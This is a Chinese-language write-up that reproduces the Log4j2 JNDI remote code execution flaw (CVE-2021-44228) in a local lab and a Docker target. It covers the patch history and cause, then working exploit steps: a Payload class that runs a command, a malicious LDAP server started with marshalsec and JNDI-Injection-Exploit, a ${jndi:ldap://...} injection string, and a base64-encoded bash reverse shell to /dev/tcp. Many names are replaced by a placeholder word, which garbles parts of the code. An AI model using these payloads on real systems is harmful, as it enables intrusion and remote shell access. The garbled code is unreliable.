CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日：Apache Log4j2官方发布了域名.0 版本，以修复CVE-2021-44228。虽然 域名.0 版本解决了Message Lookups功能和JNDI 访问方式的问题，但 Log4j团队认为默认启用 JNDI 存在安全风险，且域名.0版本存在CVE-2021-45046漏洞。
12月13日：Apache Log4j2官方发布了Log4j 域名.0版本（Java 8或更高版本），该版本删除了Message Lookups功能并默认禁用JNDI功能，并从该版本开始默认禁用JNDI功能，但可以通过将域名leJndi设置为 true 以启用 JNDI。此外，Log4j现在将协议默认限制为仅java、ldap和ldaps，并将ldap协议限制为只能访问Java原始对象。本地主机以外的主机需要被明确允许。
12月15日：Apache Log4j2官方发布了Apache Log4j 域名.2版本，该版本修复了CVE-2021-44228和CVE-2021-45046，适用于仍在使用Java 7的用户。
漏洞描述
Apache Log4j2是一个基于Java的日志记录框架。正常情况下，开发者可能会将错误信息写入日志中，可以利用此特点构造特殊的数据请求包，最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
受影响版本
Apache Log4j 2.0-beta9 - 域名.1 、Apache Log4j 域名.0 - 域名.0-rc1
Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.
注意：域名.0-rc1 rc1被绕过是说漏洞点确实可以被绕过，但是rc1已经默认了域名atMsgNoLookups为true 只要不是手贱那也没啥问题
原理分析
该漏洞主要是由于日志在打印时当遇到“${”后，以“:”号作为分割，将表达式内容分割成两部分，前面一部分prefix，后面部分作为key，然后通过prefix去找对应的lookup，通过对应的lookup实例调用lookup方法，最后将key作为参数带入执行，引发远程代码执行漏洞。
漏洞点
域名ogger().error()
域名ogger().fatal()
如图如下协议方式都可以利用
域名.域名tURLCodebase 设为true 可以在高版本jdk触发漏洞。
域名("${jndi:ldap://域名}"); error级别的更容易触发，如果不打印info级别信息，则info级别不能触发漏洞。所以优先用error触发。
影响应用
可能的受影响应用包括但不限于如下：
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr 左边第三个选项，rename
Apache Flink
Apache Druid 一个最上面的框，一个左边第三个选项中添加的框
ElasticSearch
flume
dubbo
Redis
logstash
kafka
漏洞复现
Idea搭建
新建maven工程，域名中引入log4j2依赖：
<dependency>
<groupId>域名域名j</groupId>
<artifactId>log4j-core</artifactId>
<version>域名.1</version>
</dependency>
<dependency>
<groupId>域名域名j</groupId>
<artifactId>log4j-api</artifactId>
<version>域名.1</version>
</dependency>
域名 注意区分大小写
import 域名ception;
public class Payload {
public Payload() {
//直接在构造方法中运行计算器
try {
域名untime().exec("calc");
} catch (IOException e) {
域名tStackTrace();
}
}
}
该exp用于弹出计算器，验证命令执行效果。
域名
import 域名域名anager;
import 域名域名er;
public class test {
public static final Logger logger = 域名ogger(域名s);
public static void main(String[] args){
域名r("${jndi:ldap://域名.213:9998/Payload}");注意区分大小写
}
}
手动将域名生成字节码文件，并通过python搭建简易web用于外部访问：
再开一个恶意的ldap服务：
java -cp marshalsec-0.0.3-SNAPSHOT-域名 域名RefServer "http://域名.213:9999/#Payload" 9998
注意区分大小写
运行域名,可以看到ldap服务和web服务都有访问记录：
并且有计算器弹出来，命令执行成功：
并产生了一条错误日志
docker复现
docker pull 域名-域名/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container 域名-域名/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-域名/bin/域名
执行完以上操作，可以访问存在Apache Log4j远程代码执行漏洞，这里域名.168的ip地址是我安装了docker虚拟机的ip地址，url如下：
http://域名.168:8888/webstudy/hello-fengxuan
由于该漏洞是jndi加载ldap协议就可以触发漏洞，使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-域名进行ldap协议监听，并提前输入好需要执行的命令，命令如下：
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-域名 -C "touch/tmp/88888888888" -A 域名.1
-C后面添加的是需要执行的命令
-A后面是监听的IP地址
只要根据JDK的版本，提交不同的ldap
如果JDK 是1.7，可以使用
ldap://域名.1:1389/sjrchi 这个链接是根据自己上面起的ldap服务生成的链接
如果JDK 是1.8，可以使用
ldap://域名.1:1389/fojm7q 这个链接是根据自己上面起的ldap服务生成的链接
通过BurpSuite提交数据包，由于url只接受需POST数据，受影响的参数是c，在验证的时候，一定要加入
Content-Type:application/x-www-form-urlencoded;
已经接收到ldap协议数据
如果Apache Log4j远程代码执行漏洞成功，就会执行命令touch /tmp/88888888888，在tmp目录下建一个88888888888文件
进入docker环境漏洞靶场，查看命令是否执行成功，文件成功被创建
docker exec -it log4j_vuln_container /bin/bash
ls /tmp
通过修改-C里面的命令内容，获取shell
对bash -i >& /dev/tcp/域名.1/220>&1命令进行加密处理
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-域名 -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 域名.1
成功获取shell。
